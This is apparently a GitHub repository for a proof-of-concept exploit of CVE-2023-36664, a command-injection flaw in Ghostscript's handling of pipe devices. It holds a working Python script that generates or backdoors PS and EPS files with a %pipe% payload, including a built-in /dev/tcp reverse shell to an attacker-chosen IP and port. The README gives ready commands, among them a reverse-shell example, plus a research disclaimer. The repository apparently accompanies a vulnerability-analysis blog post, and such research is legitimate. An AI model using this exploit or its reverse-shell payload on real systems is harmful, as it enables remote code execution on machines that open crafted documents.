├── CVE_2023_36664_exploit.py ├── README.md ├── file.eps ├── file.ps ├── flowchart.png └── vsociety.jpg /CVE_2023_36664_exploit.py: -------------------------------------------------------------------------------- 1 | # @jakabakos 2 | # Exploit script for CVE-2023-36664 3 | # Injects code into a PS or EPS file that is triggered when opened with Ghostscript version prior to 10.01.2 4 | # Tested with Ghostscript version 10.01.1 5 | 6 | import argparse 7 | import re 8 | import os 9 | 10 | # Function to generate payload for reverse shell 11 | def generate_rev_shell_payload(ip, port): 12 | payload = f"UNIX_REV_SHELL_PAYLOAD=f\"0<&196;exec 196<>/dev/tcp/{ip}/{port}; sh <&196 >&196 2>&196\"" 13 | return payload 14 | 15 | # Function to generate dummy PS or EPS file with payload 16 | def generate_payload_file(filename, extension, payload): 17 | if extension == 'ps': 18 | content = f"""%!PS 19 | /Times-Roman findfont 20 | 24 scalefont 21 | setfont 22 | 23 | 100 200 moveto 24 | (Welcome at vsociety!) show 25 | 26 | 30 100 moveto 27 | 60 230 lineto 28 | 90 100 lineto 29 | stroke 30 | {payload} 31 | showpage""" 32 | 33 | elif extension == 'eps': 34 | content = f"""%!PS-Adobe-3.0 EPSF-3.0 35 | %%BoundingBox: 0 0 300 300 36 | %%Title: Welcome EPS 37 | 38 | /Times-Roman findfont 39 | 24 scalefont 40 | setfont 41 | 42 | newpath 43 | 50 200 moveto 44 | (Welcome at vsociety!) show 45 | 46 | newpath 47 | 30 100 moveto 48 | 60 230 lineto 49 | 90 100 lineto 50 | stroke 51 | {payload} 52 | showpage""" 53 | 54 | filename = filename + '.' + extension 55 | with open(filename, 'w') as file: 56 | file.write(content) 57 | 58 | # Function to inject payload into an existing file 59 | def inject_payload_into_file(filename, payload): 60 | # Check if the file has the .eps or .ps extension 61 | if filename.lower().endswith('.eps'): 62 | # Read the existing content of the EPS file 63 | with open(filename, 'r') as eps_file: 64 | lines = eps_file.readlines() 65 | 66 | # Find the first line not starting with % 67 | for i, line in enumerate(lines): 68 | if not line.strip().startswith('%'): 69 | # Insert the payload at this line 70 | lines.insert(i, payload + '\n') 71 | break 72 | 73 | # Write the modified content back to the file 74 | with open(filename, 'w') as eps_file: 75 | eps_file.writelines(lines) 76 | elif filename.lower().endswith('.ps'): 77 | # Append payload to the end of the PS file 78 | with open(filename, 'a') as ps_file: 79 | ps_file.write('\n' + payload) 80 | else: 81 | print("[-] Only PS and EPS extensions are allowed.") 82 | 83 | 84 | # Main function 85 | def main(): 86 | parser = argparse.ArgumentParser(description="Creating malicious PS/EPS files exploiting CVE-2023-36664.") 87 | parser.add_argument("-g", "--generate", action="store_true", help="Generate a new file") 88 | parser.add_argument("-i", "--inject", action="store_true", help="Inject payload into an existing file") 89 | parser.add_argument("-p", "--payload", help="Payload to inject") 90 | parser.add_argument("-r", "--revshell", action="store_true", help="Generate reverse shell payload") 91 | parser.add_argument("-ip", "--ip", help="IP address for reverse shell payload") 92 | parser.add_argument("-port", "--port", help="Port number for reverse shell payload") 93 | parser.add_argument("-x", "--extension", choices=["ps", "eps"], help="Extension for the generated file") 94 | parser.add_argument("-f", "--filename", default="malicious", help="Filename for the generated or injected file") 95 | 96 | args = parser.parse_args() 97 | 98 | # Validate payload options 99 | if args.revshell and args.payload: 100 | print("[-] Both --payload and --revshell cannot be used together.") 101 | return 102 | 103 | if args.revshell: 104 | # Validate IP and port for reverse shell payload 105 | if args.ip and args.port: 106 | ip_pattern = re.compile(r"^(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$") 107 | port_pattern = re.compile(r"^\d{1,5}$") 108 | 109 | if not ip_pattern.match(args.ip) or not port_pattern.match(args.port): 110 | print("[-] Invalid IP address or port number.") 111 | return 112 | else: 113 | print("[-] For reverse shell payload, both IP and port are required.") 114 | return 115 | payload = generate_rev_shell_payload(args.ip, args.port) 116 | 117 | elif args.payload: 118 | payload = args.payload 119 | 120 | else: 121 | print("[-] Either --payload or --revshell is required.") 122 | return 123 | 124 | # Modify payload for embedding 125 | payload = f"(%pipe%{payload}) (w) file /DCTDecode filter" 126 | 127 | # Generate or inject payload 128 | if args.generate and args.inject: 129 | print("[-] Both -g/--generate and -i/--inject cannot be used together.") 130 | elif args.generate: 131 | if args.extension and (args.extension == "ps" or args.extension == "eps"): 132 | generate_payload_file(args.filename, args.extension, payload) 133 | print(f"[+] Generated {args.extension.upper()} payload file: {args.filename}.{args.extension}") 134 | else: 135 | print("[-] For generating files, specify valid extension using -x/--extension: 'ps' or 'eps'.") 136 | elif args.inject: 137 | if os.path.exists(args.filename): 138 | inject_payload_into_file(args.filename, payload) 139 | print(f"[+] Payload successfully injected into {args.filename}.") 140 | else: 141 | print(f"[-] File {args.filename} not found.") 142 | else: 143 | print("[-] Specify either -g/--generate or -i/--inject.") 144 | 145 | if __name__ == "__main__": 146 | main() 147 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Ghostscript command injection vulnerability PoC (CVE-2023-36664) 2 | 3 | Vulnerability disclosed in Ghostscript prior to version 10.01.2 leads to code execution (CVSS score 9.8). 4 | 5 | Official vulnerability description: 6 | > Artifex Ghostscript through 10.01.2 mishandles permission validation for pipe devices (with the %pipe% prefix or the | pipe character prefix). 7 | 8 | Debian released a security advisory mentioning possible execution of arbitrary commands: 9 | > "It was discovered that Ghostscript, the GPL PostScript/PDF interpreter, does not properly handle permission validation for pipe devices, which could result in the execution of arbitrary commands if malformed document files are processed." 10 | 11 | The repo is created for a CVE analysis blog post available on vsociety blog. 12 | 13 | ## Exploitation 14 | Download Ghostscript 10.01.1 here: https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/tag/gs10011 15 | Direct link to Windows x64 executable: https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/download/gs10011/gs10011w64.exe 16 | 17 | The exploitation can occur upon opening a PS or EPS file and can allow code execution caused by Ghostscript mishandling permission validation for pipe devices. 18 | 19 | Usage: `python3 CVE_2023_36664_exploit.py ` 20 | 21 | Example: 22 | ```bash 23 | python3 CVE_2023_36664_exploit.py file.eps "calc" 24 | ``` 25 | This generates a new file called `file_injected.eps`. 26 | 27 | Open this with Ghostscript to trigger the calculator (since version 9.50 you also have to use `-dNOSAFER` option): 28 | ```bash 29 | gs10011w64.exe -dNOSAFER .\file_injected.eps 30 | ``` 31 | proof 32 | 33 | Other examples: 34 | Generate a new EPS file called run_calculator.eps with payload "calc" (pops up a new calculator on Windows) 35 | ```bash 36 | python3 CVE_2023_36664_exploit.py --generate --payload calc --filename run_calculator --extension eps 37 | ``` 38 | Generate a new EPS file called rev_shell.eps with a custom IP (start a reverse shell when triggered on Unix) 39 | ```bash 40 | python3 CVE_2023_36664_exploit.py --generate --revshell -ip 10.10.10.10 -port 4242 --filename trigger_revshell --extension eps 41 | ``` 42 | Generate a new PS file malicius.ps with payload "calc" (pops up a new calculator on Windows) 43 | ```bash 44 | python3 CVE_2023_36664_exploit.py -g -p "calc" -x ps 45 | ``` 46 | Inject malicious custom payload ("calc") to an existing file called file.eps (pops up a new calculator on Windows) 47 | ```bash 48 | python3 CVE_2023_36664_exploit.py --inject --payload "calc" --filename file.eps 49 | ``` 50 | 51 | ## Disclaimer 52 | This software has been created purely for the purposes of academic research and for the development of effective defensive techniques, and is not intended to be used to attack systems except where explicitly authorized. Project maintainers are not responsible or liable for misuse of the software. Use responsibly. 53 | -------------------------------------------------------------------------------- /file.eps: -------------------------------------------------------------------------------- 1 | %!PS-Adobe-3.0 EPSF-3.0 2 | %%BoundingBox: 0 0 300 200 3 | %%Title: Example EPS file for CVE-2023-36664 4 | %%Creator: jakab.akos 5 | 6 | % Translate the coordinate system 7 | 10 830 translate 8 | 9 | % Scale the coordinate system by a factor of 175 in both X and Y directions 10 | 175 175 scale 11 | 12 | % Define the dimensions and transformation matrix for the image 13 | 705 14 | 218 15 | 8 16 | [705 0 0 -218 0 0] 17 | 18 | % Embed the JPEG image "vsociety.jpg" and apply the DCTDecode filter 19 | (vsociety.jpg) (r) file /DCTDecode filter 20 | 21 | % Specify that the image will be displayed using the RGB color space 22 | false 23 | 24 | % Specify the number of color components for the image (3 for RGB) 25 | 3 26 | 27 | % Display the image using the specified settings 28 | colorimage 29 | 30 | % Display the page 31 | showpage -------------------------------------------------------------------------------- /file.ps: -------------------------------------------------------------------------------- 1 | %!PS-Adobe-3.0 EPSF-3.0 2 | %%BoundingBox: 0 0 300 200 3 | %%Title: EPS with Referenced JPG 4 | %%Creator: jakab.akos 5 | 6 | % Translate the coordinate system 7 | 10 830 translate 8 | 9 | % Scale the coordinate system by a factor of 175 in both X and Y directions 10 | 175 175 scale 11 | 12 | % Define the dimensions and transformation matrix for the image 13 | 705 14 | 218 15 | 8 16 | [705 0 0 -218 0 0] 17 | 18 | % Embed the JPEG image "vsociety.jpg" and apply the DCTDecode filter 19 | (vs.jpg) (r) file /DCTDecode filter 20 | 21 | % Specify that the image will be displayed using the RGB color space 22 | false 23 | 24 | % Specify the number of color components for the image (3 for RGB) 25 | 3 26 | 27 | % Display the image using the specified settings 28 | colorimage 29 | 30 | 31 | 32 | % Display the page 33 | showpage 34 | 35 | -------------------------------------------------------------------------------- /flowchart.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jakabakos/CVE-2023-36664-Ghostscript-command-injection/1358b92f822a9c239d4876f3a37a7894dd37a411/flowchart.png -------------------------------------------------------------------------------- /vsociety.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jakabakos/CVE-2023-36664-Ghostscript-command-injection/1358b92f822a9c239d4876f3a37a7894dd37a411/vsociety.jpg --------------------------------------------------------------------------------